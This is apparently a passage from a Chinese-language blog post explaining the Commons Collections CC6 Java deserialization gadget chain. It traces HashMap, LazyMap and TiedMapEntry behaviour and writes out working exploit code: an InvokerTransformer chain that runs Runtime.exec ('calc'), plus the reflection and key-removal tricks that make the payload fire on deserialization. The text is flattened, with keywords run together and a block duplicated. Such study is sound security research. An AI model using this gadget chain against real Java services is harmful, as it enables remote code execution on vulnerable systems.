public V put(K key, V value){ return putVal(hash(key), key, value, false, true); } //调用了hash方法
staticfinalinthash(Object key){ int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); } //调用了key的hashCode()方法 //这里的key是tiedMapEntry //接下来就是调用getValue()方法,然后调用lazyMap的get方法 //这些都是在CC5里面写过的就不贴了 public Object get(Object key){ // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } //上面是lazyMap的get方法,注意这是序列化的时候,在调用add会经过上面的过程 //map.containsKey(key)在判断没有key后会将key和value再次put进map里 //这时候的map是LazyMap,在添加结束后序列化出来的LazyMap自带这个key导致反序列化时走到这里时LazyMap已经有值走不进这个判断,所以要在序列化之前把这个值删除
来看看这个key是怎么来的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
//下面是创建TiedMapEntry的方法 TiedMapEntry entry = new TiedMapEntry(lazyMap, "aaa");
publicclassCC6{ publicstaticvoidmain(String[] args)throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc" }), };
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)}); Map innerMap = new HashMap(1); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); //上面基本CC5一样 HashSet<Object> map = new HashSet(); //创建HashSet map.add(tiedMapEntry); //在HashSet内添加tiedMapEntry元素 lazyMap.remove("aaa"); //在lazyMap移除aaa元素
Class transformerChainClass = transformerChain.getClass(); Field transformerChainClassField = transformerChainClass.getDeclaredField("iTransformers"); transformerChainClassField.setAccessible(true); transformerChainClassField.set(transformerChain, transformers); //反射修改iTransformers,让命令执行不在序列化之前触发 //如果不修改则会在add的时候触发
publicclassCC6{ publicstaticvoidmain(String[] args)throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc" }), }; Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});